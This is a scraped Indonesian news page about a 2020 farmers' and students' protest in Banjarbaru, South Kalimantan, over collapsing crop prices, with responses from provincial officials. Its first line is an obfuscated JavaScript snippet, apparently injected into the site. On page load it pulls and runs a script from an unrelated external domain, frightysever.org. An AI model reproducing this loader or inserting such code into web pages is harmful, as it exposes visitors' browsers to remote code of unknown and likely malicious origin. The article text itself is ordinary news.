(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Harga jual hasil pertanian sangat rendah, pemerintah daerah diminta peka nasib petani.
Massa organisasi mahasiswa dan buruh tani dalam aksi demo peringatan Hari Tani Nasional 2020 di Sekretariat Daerah (Sekda) Pemerintah Provinsi Kalimantan Selatan, Kamis (24/9/2020) siang, menuntut pemerintah sadar kondisi yang dihadapi petani.
Dwi Putra Kurniawan, salah satu petani peserta aksi mengungkapkan, kedatangn bersama petani lainnya ingin secara langsung bertemu dengan kepala daerah. Pihaknya, ingin menunjukan buah dan sayuran yang mereka hasilkan, dimana saat ini harga jualnya anjlok di pasaran.
“Kami ingin ketemu pak Gubernur, kalau tidak bisa hadir bisa dengan pak Wakil Gubernur. Kami datang jauh-jauh ke sini dengan membawa produk pertanian kami yang saat ini harganya anjlok,” ujarnya.
Kelompok petani yang datang menuntut kepekaan pemerintah daerah, kata Dwi, berasal dari berbagai daerah, baik itu Kabupaten Hulu Sungai Tengah (HST), Kabupaten Hulu Sungai Selatan (HSS), dan Kabupaten Tabalong.
Dirinya bersama para petani menilai anjloknya harga komuditas sayur dan buah-buahan kurang mendapatkan perhatian dari pemerintah.
“Contohnya, buah semangka yang saat ini harga per kilogramnya hanya 500 rupiah saja. Padahal, sebelum pandemi harganya 3.000 rupiah. Kondisinya seperti ini, tidak ada perhatian,” keluhnya.
Oleh karena itu, massa menuntut pemerintah daerah untuk turun langsung menemui serta melihat keadaan petani di Kalimantan Selatan.
Lalu, pemerintah juga diminta untuk menjamin ketersediannya lahan pertanian dan perlindungannya.
Sementara itu, Plt Sekda Pemprov Kalsel Roy Rizali Anwar mengakui bahwa merebaknya Covid-19 tak hanya berdampak pada petani saja, melainkan di setiap sektor usaha. Namun begitu, ia menjanjikan bahwa Pemprov Kalsel akan menangani kondisi sulit tersebut.
“Kita akui perputaran ekonomi saat ini tidak normal. Saat ini, kita tengah melakukan pemetaan dengan mendata siapa saja petani dan nelayan yang terdampak. Kita coba tangani melalui program stimulus ekonomi,” tuturnya.
Roy menegaskan, penanganan Covid-19 memang tak hanya di bidang kesehatan saja. Pemerintah sendiri katanya telah menjalankan program Jaring Pengaman Sosial (JPS) yang anggaran dialokasi cukup banyak demi menambah kebutuhan masyarakat yang terdampak
“Nah, untuk pogram stimulus ekonomi kita ingin memetakan yang terdampak.
Semisalnya gerakan makan ikan membantu petani yang produknya tidak laku. Artinya, bantuan kita kepada petani itu sudah berjalan, namun kita perlu liat dari prioritasnya karena kalau semuanya langsung dilaksanakan, anggaran tidak cukup,” kata Roy.
Hampir senada, Kepala Dinas Pertanian Provinsi Kalsel Syamsir mengungkapkan bahwa aspirasi yang disampaikan oleh petani adalah hal yang lumrah. Ia sendiri tak membantah bahwa harga komoditas buah maupun sayur mengalami penurunan.
“Itu sudah biasa, dengan adanya pandemi, komoditas semua pasti turun.
Sebenarnya dari pemerintah kabupaten/kota harus melakukan intervensi terkait harga yang anjlok ini.
Aspirasi massa semua kita tampung, untuk selanjutkan kita tindaklanjuti di lapangan,” terangnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
This website uses cookies.